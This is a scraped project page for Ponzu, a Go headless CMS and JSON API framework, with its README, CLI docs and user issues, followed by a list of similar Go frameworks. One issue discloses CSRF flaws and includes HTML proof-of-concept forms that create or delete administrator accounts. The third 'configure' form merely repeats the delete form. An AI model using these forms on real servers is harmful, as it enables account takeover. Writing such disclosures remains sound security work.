Headless CMS with automatic JSON API. Featuring auto-HTTPS from Let's Encrypt, HTTP/2 Server Push, and flexible server framework written in Go.

My friend, "Gotoro"

Ponzu

Current Release GoDoc CircleCI Build Status

Watch the video introduction

Ponzu is a powerful and efficient open-source HTTP server framework and CMS. It provides automatic, free, and secure HTTP/2 over TLS (certificates obtained via Let's Encrypt), a useful CMS and scaffolding to generate content editors, and a fast HTTP API on which to build modern applications.

Ponzu is released under the BSD-3-Clause license (see LICENSE). (c) Boss Sauce Creative, LLC

Why?

With the rise in popularity of web/mobile apps connected to JSON HTTP APIs, better tools to support the development of content servers and management systems are necessary. Ponzu fills the void where you want to reach for Wordpress to get a great CMS, or Rails for rapid development, but need a fast JSON response in a high-concurrency environment.

Because you want to turn this:

$ ponzu gen content song title:"string" artist:"string" rating:"int" opinion:"string":richtext spotify_url:"string"

Into this:

Generated content/song.go

What's inside

  • Automatic & Free SSL/TLS1
  • HTTP/2 and Server Push
  • Rapid development with CLI-controlled code generators
  • User-friendly, extensible CMS and administration dashboard
  • Simple deployment - single binary + assets, embedded DB (BoltDB)
  • Fast, helpful framework while maintaining control

1 TLS:

  • Development: self-signed certificates auto-generated
  • Production: auto-renewing certificates fetched from Let's Encrypt

Documentation

For more detailed documentation, check out the docs

Installation

$ go get -u github.com/ponzu-cms/ponzu/...

Requirements

Go 1.8+

Since HTTP/2 Server Push is used, Go 1.8+ is required. However, it is not required of clients connecting to a Ponzu server to make HTTP/2 requests.

Usage

$ ponzu command [flags] <params>

Commands

new

Creates a project directory of the name supplied as a parameter immediately following the 'new' option in the $GOPATH/src directory. Note: 'new' depends on the program 'git' and possibly a network connection. If there is no local repository to clone from at the local machine's $GOPATH, 'new' will attempt to clone the 'github.com/ponzu-cms/ponzu' package from over the network.

Example:

$ ponzu new github.com/nilslice/proj
> New ponzu project created at $GOPATH/src/github.com/nilslice/proj

Errors will be reported, but successful commands return nothing.


generate, gen, g

Generate boilerplate code for various Ponzu components, such as content.

Example:

            generator      struct fields and built-in types...
             |              |
             v              v    
$ ponzu gen content review title:"string" body:"string":richtext rating:"int"
                     ^                                   ^
                     |                                   |
                    struct type                         (optional) input view specifier

The command above will generate the file content/review.go with boilerplate methods, as well as struct definition, and corresponding field tags like:

type Review struct {
	Title  string   `json:"title"`
	Body   string   `json:"body"`
	Rating int      `json:"rating"`
}

The generate command will intelligently parse more sophisticated field names such as 'field_name' and convert it to 'FieldName' and vice versa, only where appropriate as per common Go idioms. Errors will be reported, but successful generate commands return nothing.

Input View Specifiers (optional)

The CLI can optionally parse a third parameter on the fields provided to generate the type of HTML view an editor field is presented within. If no third parameter is added, a plain text HTML input will be generated. In the example above, the argument shown as body:string:richtext would show the Richtext input instead of a plain text HTML input (as shown in the screenshot). The following input view specifiers are implemented:

CLI parameter Generates
checkbox editor.Checkbox()
custom generates a pre-styled empty div to fill with HTML
file editor.File()
hidden editor.Input() + uses type=hidden
input, text editor.Input()
richtext editor.Richtext()
select editor.Select()
textarea editor.Textarea()
tags editor.Tags()

build

From within your Ponzu project directory, running build will copy and move the necessary files from your workspace into the vendored directory, and will build/compile the project to then be run.

Optional flags:

  • --gocmd sets the binary used when executing go build within ponzu build step

Example:

$ ponzu build
(or)
$ ponzu build --gocmd=go1.8rc1 # useful for testing

Errors will be reported, but successful build commands return nothing.


run

Starts the HTTP server for the JSON API, Admin System, or both. The segments, separated by a comma, describe which services to start, either 'admin' (Admin System / CMS backend) or 'api' (JSON API), and, optionally, if the server should utilize TLS encryption - served over HTTPS, which is automatically managed using Let's Encrypt (https://letsencrypt.org)

Optional flags:

  • --port sets the port on which the server listens for HTTP requests [defaults to 8080]
  • --https-port sets the port on which the server listens for HTTPS requests [defaults to 443]
  • --https enables auto HTTPS management via Let's Encrypt (port is always 443)
  • --dev-https generates self-signed SSL certificates for development-only (port is 10443)

Example:

$ ponzu run
(or)
$ ponzu run --port=8080 --https admin,api
(or) 
$ ponzu run admin
(or)
$ ponzu run --port=8888 api
(or)
$ ponzu run --dev-https

Defaults to $ ponzu run --port=8080 admin,api (running Admin & API on port 8080, without TLS)

Note: Admin and API cannot run on separate processes unless you use a copy of the database, since the first process to open it receives a lock. If you intend to run the Admin and API on separate processes, you must call them with the 'ponzu' command independently.


upgrade

Will backup your own custom project code (like content, add-ons, uploads, etc) so we can safely re-clone Ponzu from the latest version you have or from the network if necessary. Before running $ ponzu upgrade, you should update the ponzu package by running $ go get -u github.com/ponzu-cms/ponzu/...

Example:

$ ponzu upgrade

add, a

Downloads an add-on to GOPATH/src and copies it to the Ponzu project's ./addons directory. Must be called from within a Ponzu project directory.

Example:

$ ponzu add github.com/bosssauce/fbscheduler

Errors will be reported, but successful add commands return nothing.


version, v

Prints the version of Ponzu your project is using. Must be called from within a Ponzu project directory. By passing the --cli flag, the version command will print the version of the Ponzu CLI you have installed.

Example:

$ ponzu version
> Ponzu v0.8.2
(or)
$ ponzu version --cli
> Ponzu v0.9.2

Contributing

  1. Checkout branch ponzu-dev
  2. Make code changes
  3. Test changes to ponzu-dev branch
    • make a commit to ponzu-dev
    • to manually test, you will need to use a new copy (ponzu new path/to/code), but pass the --dev flag so that ponzu generates a new copy from the ponzu-dev branch, not master by default (i.e. $ponzu new --dev /path/to/code)
    • build and run with $ ponzu build and $ ponzu run
  4. To add back to master:
    • first push to origin ponzu-dev
    • create a pull request
    • will then be merged into master

A typical contribution workflow might look like:

# clone the repository and checkout ponzu-dev
$ git clone https://github.com/ponzu-cms/ponzu path/to/local/ponzu # (or your fork)
$ git checkout ponzu-dev

# install ponzu with go get or from your own local path
$ go get github.com/ponzu-cms/ponzu/...
# or
$ cd /path/to/local/ponzu 
$ go install ./...

# edit files, add features, etc
$ git add -A
$ git commit -m 'edited files, added features, etc'

# now you need to test the feature.. make a new ponzu project, but pass --dev flag
$ ponzu new --dev /path/to/new/project # will create $GOPATH/src/path/to/new/project

# build & run ponzu from the new project directory
$ cd /path/to/new/project
$ ponzu build && ponzu run

# push to your origin:ponzu-dev branch and create a PR at ponzu-cms/ponzu
$ git push origin ponzu-dev
# ... go to https://github.com/ponzu-cms/ponzu and create a PR

Note: if you intend to work on your own fork and contribute from it, you will need to also pass --fork=path/to/your/fork (using OS-standard filepath structure), where path/to/your/fork must be within $GOPATH/src, and you are working from a branch called ponzu-dev.

For example:

# ($GOPATH/src is implied in the fork path, do not add it yourself)
$ ponzu new --dev --fork=github.com/nilslice/ponzu /path/to/new/project

Credits

Logo

The Go gopher was designed by Renee French. (http://reneefrench.blogspot.com) The design is licensed under the Creative Commons 3.0 Attribution license. Read this article for more details: http://blog.golang.org/gopher

The Go gopher vector illustration by Hugo Arganda @argandas (http://about.me/argandas)

"Gotoro", the sushi chef, is a modification of Hugo Arganda's illustration by Steve Manuel (https://github.com/nilslice).

Owner
Ponzu
Organization for Ponzu: JSON API Server Framework & Headless CMS + Addons
Ponzu
Comments
  • on windows

    on windows

    Got generate to complete on windows. Had to do stuff like the following:

    func setFieldView(field *generateField, viewType string) error { var err error var tmpl *template.Template buf := &bytes.Buffer{}

    //pwd, err := os.Getwd()
    pwd, err := osext.ExecutableFolder() // import "github.com/kardianos/osext"
    if err != nil {
    	panic(err)
    }
    //tmplDir := filepath.Join(pwd, "cmd", "ponzu", "templates")
    tmplDir := filepath.Join(pwd, "templates")
    

    Haven't tried this on linux. On to build. Similar issues in there I think.

  • Please Support TiDB

    Please Support TiDB

    Being able to use TiDB (also developed in go) would allow us to have a lot more flexibility specifically with complex queries. I really like the simplicity behind ponzu but I strongly believe a different db engine will be required sooner or later once the CMS gains adoption.

    I would not consider a database engine other than [TiBD] its performance is amazing and would still allow to produce a single binary when deploying a ponzu app.

  • unresolved reference select

    unresolved reference select

    I have referenced table from 2 table "author" and "category" . But neither they are listed on post table. Plus on editor it gives error: "unresolved reference select"

  • Docu request: Kitchen sink demo

    Docu request: Kitchen sink demo

    It would be great to have a "kitchen sink" demo that shows all available widgets. It would consist of a long "ponzu gen" command plus some additional instructions to modify the generated files to get additional widget types, for example a Richtext editor widget.

  • Filterable Interface?

    Filterable Interface?

    Again, just thinking out loud. I know we discussed queries/reports early on and I'll quite happily do this in the client app, but it keeps striking me that a filterable interface could be useful.

    A single method item.filter(data) (data) {}

    This would allow some basic data manipulation of item type resultset, by ranging through it and making comparisons.

    One example, removing items with a timestamp in the future - unpublished as yet if you like. This could be simply achieved if this behaviour was preferred.

    Taking it further, if multiple filters could be specified and the API could also accept filter in the querystring to select which filter to use, items could have their own stored procedures in effect.

    This cuts down on the handballing of data client side and is maintainable and extendable.

    I don't think I could put this together, but wanted to log it. Hope that's ok.

  • ponzu add <addon URI>

    ponzu add

    Reference issue #85. As discussed, this adds a ponzu add command to the CLI. It fetches the addon from its URI by wrapping go get then copies it to the projects local ./addons directory.

    There is no switch for automatically installing. Based on the issue discussion that feature needs more thought, so has been omitted.

    I've updated the README to include documentation on the command.

    It's been tested as per the approach in the README.

  • make slug editable

    make slug editable

    Started from my question on #308 about my needs to edit slug, I make some changes myself to achieve that. First time contributing here. Honestly I'm not that familiar about the design of this repo. I've tried to make changes as unobtrusive as possible, but let me know if the changes is not acceptable.

    Actually there are several concerns when I'm working on this:

    1. I'm not sure whether slug is should to be editable or not
    2. Currently on the editor slug data is sent twice, from a hidden field and a disabled text field. Not sure if it's intended or not, but I'm using both value to check if slug is being edited by user
    3. value.Get("field_name") only return the first value of the specified field, I use value["field_name"][1] to get the second value of a field. Not sure if it's deemed not neat

    Let me know what you guys think :)

  • no go files in /home/user/go/src/github.com/ponzu-cms/ponzu

    no go files in /home/user/go/src/github.com/ponzu-cms/ponzu

    After running first installation command,

    go get github.com/ponzu-cms/ponzu/…

    I get an error as:

    package github.com/ponzu-cms/ponzu: no Go files in /home/user/go/src/github.com/ponzu-cms/ponzu

    My Config are :-

    • Ubuntu 16.04
    • go1.9.2
  • Syntax highlighting

    Syntax highlighting

    Hi,

    Nice work on this CMS, it's very nice. There's just one obstacle I haven't been able to work around: the lack of ability to display snippets of code in a richtext field. I tried using highlight.js in my frontend, with the standard <pre><code>...</code></pre> syntax in my body field, but the editor strips it out.

    Beyond changing the field to a plain textarea for now, any other suggestions? Could this be considered for a potential feature?

    Thanks

  • Features suggestions

    Features suggestions

    Hi,

    Hope you are all well !

    I am testing ponzu cms those days and made myself a couple of remarks about what could be awesome to have embedded in it.

    It would be awesome to have:

    • Searchkit, for some advanced search features
    • vue-admin for more backend oriented widgets
    • admin-on-rest a rest admin boilerplate for content browsing, editing and filtering
    • An html ui composition interface, eg lib-compose

    What is the current road-map for ponzu ? What are your goals with this framework ?

    Cheers, Richard

  • addons disable search

    addons disable search

    Hi! I played with addons last night and I think I found a bug in the process.

    If fbcheduler addon (or any custom addon which registers it self to CMS) is enabled, search functionality stops working (it returns 404 not found header) on both http and https:

    curl -I "http://localhost:8080/api/search?type=Book&q=test"
    HTTP/1.1 404 Not Found
    Access-Control-Allow-Headers: Accept, Authorization, Content-Type
    Access-Control-Allow-Origin: *
    Cache-Control: max-age=2592000, public
    Etag: MTQ5NjA0NTk3Mg==
    Date: Mon, 29 May 2017 08:20:05 GMT
    Content-Type: text/plain; charset=utf-8
    

    I enabled the addon by importing fbschedule in one of my content types (content/book.go)

    import (
           ...
    	_ "github.com/bosssauce/fbscheduler"
           ...
    )
    

    I pinpointed the issue to addon.Register function. If function call is removed - search works. var _ = addon.Register(meta, func() interface{} { return new(PostScheduler) })

    After removing addon.Register, I can see addon in admin panel but if clicked, it returns 404: 2017/05/29 10:38:00 Addon: it.bosssauce.FacebookScheduler is not found in addon.Types map

    I stopped digging and decided to ask here. What am I doing wrong?

    Thanks in advance!

  • Is Ponzu dead?

    Is Ponzu dead?

    I was hoping to look at using this for some upcoming projects, but I see the current install method is broken, and the last commit is over 2 years ago...are there any plans of continuing, or does anyone know of well maintained forks?

  • Suggested install method no longer works

    Suggested install method no longer works

    I was trying to install ponzu using go get command as per the documentation but while trying to use that command I get following error

    go get: github.com/willf/[email protected] updating to
    	github.com/willf/[email protected]: parsing go.mod:
    	module declares its path as: github.com/bits-and-blooms/bitset
    	        but was required as: github.com/willf/bitset
    

    I ended up cloning the repository and running

    go mod init 
    cd cmd/ponzu
    go install
    
  • Error with

    Error with "go get..."

    when i type:
    go get -u github.com/ponzu-cms/ponzu/...

    Return:

    cannot find package "github.com/blevesearch/zap/v11" in any of:
            c:\go\src\github.com\blevesearch\zap\v11 (from $GOROOT)
            C:\Users\eloyf\go\src\github.com\blevesearch\zap\v11 (from $GOPATH)
    cannot find package "github.com/blevesearch/zap/v12" in any of:
            c:\go\src\github.com\blevesearch\zap\v12 (from $GOROOT)
            C:\Users\eloyf\go\src\github.com\blevesearch\zap\v12 (from $GOPATH)
    cannot find package "github.com/blevesearch/zap/v13" in any of:
            c:\go\src\github.com\blevesearch\zap\v13 (from $GOROOT)
            C:\Users\eloyf\go\src\github.com\blevesearch\zap\v13 (from $GOPATH)
    cannot find package "github.com/blevesearch/zap/v14" in any of:
            c:\go\src\github.com\blevesearch\zap\v14 (from $GOROOT)
            C:\Users\eloyf\go\src\github.com\blevesearch\zap\v14 (from $GOPATH)
    PS E:\AAAPLICACIONES\PONZU\ponzu>
    

    I dont understand why

    thx

  • There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration.

    There is three CSRF vulnerability that can add the administrator account, delete administrator account, edit configuration.

    After the administrator logged in, open the following three pages:

    1. add_admin.html

    Add a administrator.

    <html>
      <body>
        <form action="http://localhost:8888/admin/configure/users" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="email" value="321@com" />
          <input type="hidden" name="password" value="321" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    

    2. delete_admin.html

    Delete a administrator use username(email), and the param 'id' is not useful, you can delete any user you think username(email).

    <html>
      <body>
        <form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="email" value="[email protected]" />
          <input type="hidden" name="id" value="80" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    

    3. configure.html

    It can edit configure, example:

    1. Change HTTP Basic Auth User&Password to download a backup of your data via HTTP.
    2. Change administrator email and used with add_admin.html.
    3. Change Client Secret which is used to validate requests.
    <html>
      <body>
        <form action="http://10.157.41.81:8888/admin/configure/users/delete" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="email" value="[email protected]" />
          <input type="hidden" name="id" value="80" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    
Flexible E-Commerce Framework on top of Flamingo. Used to build E-Commerce "Portals" and connect it with the help of individual Adapters to other services.

Flamingo Commerce With "Flamingo Commerce" you get your toolkit for building fast and flexible commerce experience applications. A demoshop using the

Dec 31, 2022
A secure, flexible, rapid Go web framework

A secure, flexible, rapid Go web framework Visit aah's official website https://aahframework.org to learn more News v0.12.3 released and tagged on Feb

Dec 24, 2022
A secure, flexible, rapid Go web framework
A secure, flexible, rapid Go web framework

A secure, flexible, rapid Go web framework Visit aah's official website https://aahframework.org to learn more News v0.12.3 released and tagged on Feb

Oct 26, 2021
Tigo is an HTTP web framework written in Go (Golang).It features a Tornado-like API with better performance. Tigo是一款用Go语言开发的web应用框架,API特性类似于Tornado并且拥有比Tornado更好的性能。
Tigo is an HTTP web framework written in Go (Golang).It features a Tornado-like API with better performance.  Tigo是一款用Go语言开发的web应用框架,API特性类似于Tornado并且拥有比Tornado更好的性能。

Tigo(For English Documentation Click Here) 一个使用Go语言开发的web框架。 相关工具及插件 tiger tiger是一个专门为Tigo框架量身定做的脚手架工具,可以使用tiger新建Tigo项目或者执行其他操作。

Jan 5, 2023
⚡ Rux is an simple and fast web framework. support middleware, compatible http.Handler interface. 简单且快速的 Go web 框架,支持中间件,兼容 http.Handler 接口

Rux Simple and fast web framework for build golang HTTP applications. NOTICE: v1.3.x is not fully compatible with v1.2.x version Fast route match, sup

Dec 8, 2022
A minimal framework to build web apps; with handler chaining, middleware support; and most of all standard library compliant HTTP handlers(i.e. http.HandlerFunc).
A minimal framework to build web apps; with handler chaining, middleware support; and most of all standard library compliant HTTP handlers(i.e. http.HandlerFunc).

WebGo v4.1.3 WebGo is a minimalistic framework for Go to build web applications (server side) with zero 3rd party dependencies. Unlike full-fledged fr

Jan 1, 2023
gin auto binding,grpc, and annotated route,gin 注解路由, grpc,自动参数绑定工具
gin auto binding,grpc, and annotated route,gin 注解路由, grpc,自动参数绑定工具

中文文档 Automatic parameter binding base on go-gin doc Golang gin automatic parameter binding Support for RPC automatic mapping Support object registrati

Jan 3, 2023
REST api using fiber framework written in golang and using firebase ecosystem to authentication, storage and firestore as a db and use clean architecture as base
REST api using fiber framework written in golang and using firebase ecosystem to authentication, storage and firestore as a db and use clean architecture as base

Backend API Example FiberGo Framework Docs : https://github.com/gofiber Info This application using firebase ecosystem Firebase Auth Cloud Storage Fir

May 31, 2022
Muxie is a modern, fast and light HTTP multiplexer for Go. Fully compatible with the http.Handler interface. Written for everyone.
Muxie is a modern, fast and light HTTP multiplexer for Go. Fully compatible with the http.Handler interface. Written for everyone.

Muxie ?? ?? ?? ?? ?? ?? Fast trie implementation designed from scratch specifically for HTTP A small and light router for creating sturdy backend Go a

Dec 8, 2022
Gin is a HTTP web framework written in Go (Golang).
Gin is a HTTP web framework written in Go (Golang).

Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin.

Jan 3, 2023
laravel for golang,goal,fullstack framework,api framework
laravel for golang,goal,fullstack framework,api framework

laravel for golang,goal,fullstack framework,api framework

Feb 24, 2022
A simple blog framework built with GO. Uses HTML files and a JSON dict to give you more control over your content.

Go-Blog A simple template based blog framework. Instructions Built for GO version: 1 See the Documentation or Getting Started pages in the wiki. Notes

Sep 10, 2022
This is only a mirror and Moved to https://gitea.com/lunny/tango

Tango 简体中文 Package tango is a micro & pluggable web framework for Go. Current version: v0.5.0 Version History Getting Started To install Tango: go get

Nov 18, 2022
Flamingo Framework and Core Library. Flamingo is a go based framework for pluggable web projects. It is used to build scalable and maintainable (web)applications.
Flamingo Framework and Core Library. Flamingo is a go based framework for pluggable web projects. It is used to build scalable and maintainable (web)applications.

Flamingo Framework Flamingo is a web framework based on Go. It is designed to build pluggable and maintainable web projects. It is production ready, f

Jan 5, 2023
A Go framework for building JSON web services inspired by Dropwizard

Tiger Tonic A Go framework for building JSON web services inspired by Dropwizard. If HTML is your game, this will hurt a little. Like the Go language

Dec 9, 2022
:exclamation::exclamation::exclamation: [deprecated] Moved to https://github.com/go-macaron/macaron
:exclamation::exclamation::exclamation: [deprecated] Moved to https://github.com/go-macaron/macaron

Macaron Package macaron is a high productive and modular web framework in Go. Current version: 0.6.8 Getting Started The minimum requirement of Go is

Aug 20, 2021
Moved https://gitea.com/xweb/xweb

xweb xweb是一个强大的Go语言web框架。 English 技术支持 QQ群:369240307 更新日志 v0.2.1 : 自动Binding新增对jquery对象,map和array的支持。 v0.2 : 新增 validation 子包,从 https://github.com/ast

Apr 21, 2022
Opinionated boilerplate Golang HTTP server with CORS, OPA, Prometheus, rate-limiter for API and static website.
Opinionated boilerplate Golang HTTP server with CORS, OPA, Prometheus, rate-limiter for API and static website.

Teal.Finance/Garcon Opinionated boilerplate HTTP server with CORS, OPA, Prometheus, rate-limiter… for API and static website. Origin This library was

Nov 3, 2022